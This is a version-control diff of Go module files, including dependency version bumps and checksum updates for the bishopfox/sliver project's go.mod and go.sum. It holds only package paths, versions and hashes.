golang.org/x/crypto v0.9.0 h1:LF6fAI+IutBocDJ2OT0Q1g8plpYljMZ4+lty+dsqw3g=
golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
@@ -299,7 +291,6 @@ golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHl
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8=
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -315,21 +306,17 @@ golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qx
golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.8.0 h1:Zrh2ngAOFYneWTAIAPethzeaQLuHwhuBkuV6ZiRnUaQ=
golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=
golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M=
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.4.0 h1:NF0gk8LVPg1Ml7SSbGyySuoxdsXitj7TvgvuRxIMc/M=
golang.org/x/oauth2 v0.6.0 h1:Lh8GPgSKBfWSwFvtuWOfeI3aAAnbXTSutYxJiOJFgIw=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -359,27 +346,23 @@ golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw=
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.8.0 h1:57P1ETyNKtuIjB4SRd15iJxuhj8Gc416Y78H3qgMh68=
golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -391,7 +374,6 @@ golang.org/x/tools v0.0.0-20191108193012-7d206e10da11/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -412,15 +394,15 @@ google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w=
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM=
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 h1:DdoeryqhaXp1LtT/emMP1BRJPHHKFi5akj/nbx/zNTA=
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.54.0 h1:EhTqbhiYeixwWQtAEZAxmV9MGqcjEU2mFx52xCzNyag=
google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g=
google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag=
google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
@@ -431,8 +413,6 @@ gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
@@ -449,16 +429,14 @@ gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.4.7 h1:rY46lkCspzGHn7+IYsNpSfEv9tA+SU4SkkB+GFX125Y=
gorm.io/driver/mysql v1.4.7/go.mod h1:SxzItlnT1cb6e1e4ZRpgJN2VYtcqJgqnHxWr4wsP8oc=
gorm.io/driver/postgres v1.5.0 h1:u2FXTy14l45qc3UeCJ7QaAXZmZfDDv0YrthvmRq1l0U=
gorm.io/driver/postgres v1.5.0/go.mod h1:FUZXzO+5Uqg5zzwzv4KK49R8lvGIyscBOqYrtI1Ce9A=
gorm.io/driver/sqlite v1.4.4 h1:gIufGoR0dQzjkyqDyYSCvsYR6fba1Gw5YKDqKeChxFc=
gorm.io/driver/sqlite v1.4.4/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
gorm.io/gorm v1.24.0/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
gorm.io/gorm v1.24.7-0.20230306060331-85eaf9eeda11 h1:9qNbmu21nNThCNnF5i2R3kw2aL27U8ZwbzccNjOmW0g=
gorm.io/gorm v1.24.7-0.20230306060331-85eaf9eeda11/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
gorm.io/driver/mysql v1.5.1 h1:WUEH5VF9obL/lTtzjmML/5e6VfFR/788coz2uaVCAZw=
gorm.io/driver/mysql v1.5.1/go.mod h1:Jo3Xu7mMhCyj8dlrb3WoCaRd1FhsVh+yMXb1jUInf5o=
gorm.io/driver/postgres v1.5.2 h1:ytTDxxEv+MplXOfFe3Lzm7SjG09fcdb3Z/c056DTBx0=
gorm.io/driver/postgres v1.5.2/go.mod h1:fmpX0m2I1PKuR7mKZiEluwrP3hbs+ps7JIGMUBpCgl8=
gorm.io/driver/sqlite v1.5.1 h1:hYyrLkAWE71bcarJDPdZNTLWtr8XrSjOWyjUYI6xdL4=
gorm.io/driver/sqlite v1.5.1/go.mod h1:7MZZ2Z8bqyfSQA1gYEV6MagQWj3cpUkJj9Z+d1HEMEQ=
gorm.io/gorm v1.25.1 h1:nsSALe5Pr+cM3V1qwwQ7rOkw+6UeLrX5O4v3llhHa64=
gorm.io/gorm v1.25.1/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
@@ -471,19 +449,19 @@ modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
modernc.org/libc v1.22.3 h1:D/g6O5ftAfavceqlLOFwaZuA5KYafKwmr30A6iSqoyY=
modernc.org/libc v1.22.3/go.mod h1:MQrloYP209xa2zHome2a8HLiLm6k0UT8CoHpV74tOFw=
modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE=
modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY=
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds=
modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.21.0 h1:4aP4MdUf15i3R3M2mx6Q90WHKz3nZLoz96zlB6tNdow=
modernc.org/sqlite v1.21.0/go.mod h1:XwQ0wZPIh1iKb5mkvCJ3szzbhk+tykC8ZWqTRTgYRwI=
modernc.org/sqlite v1.22.1 h1:P2+Dhp5FR1RlVRkQ3dDfCiv3Ok8XPxqpe70IjYVA9oE=
modernc.org/sqlite v1.22.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk=
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
modernc.org/tcl v1.15.1 h1:mOQwiEK4p7HruMZcwKTZPw/aqtGM4aY00uzWhlKKYws=
modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE=
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
+7 -7
View File
@@ -3,6 +3,7 @@ module github.com/bishopfox/sliver
go 1.18
require (
filippo.io/age v1.1.1
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.3
github.com/gofrs/uuid v4.0.0+incompatible
@@ -14,9 +15,9 @@ require (
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
golang.org/x/crypto v0.4.0
golang.org/x/net v0.3.0
golang.org/x/sys v0.3.0
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.28.0
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
@@ -37,11 +38,10 @@ require (
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
golang.org/x/text v0.5.0 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.org/x/tools v0.1.12 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
+16 -14
View File
@@ -1,3 +1,5 @@
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
@@ -61,21 +63,21 @@ github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd h1:XcWmESyNjXJMLahc3mqVQJcgSTDxFxhETVlfk9uGc38=
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.4.0 h1:UVQgzMY87xqpKNgb+kDsll2Igd33HszWHFLmpaRMq/8=
golang.org/x/crypto v0.4.0/go.mod h1:3quD/ATkf6oY+rnes5c3ExXTbLc8mueNue5/DoinL80=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.3.0 h1:VWL6FNY2bEEmsGVKabSlHu5Irp34xmMRoqb/9lF9lxk=
golang.org/x/net v0.3.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 h1:uVc8UZUe6tr40fFVnUP5Oj+veunVezqYl9z7DYw9xzw=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -88,26 +90,26 @@ golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
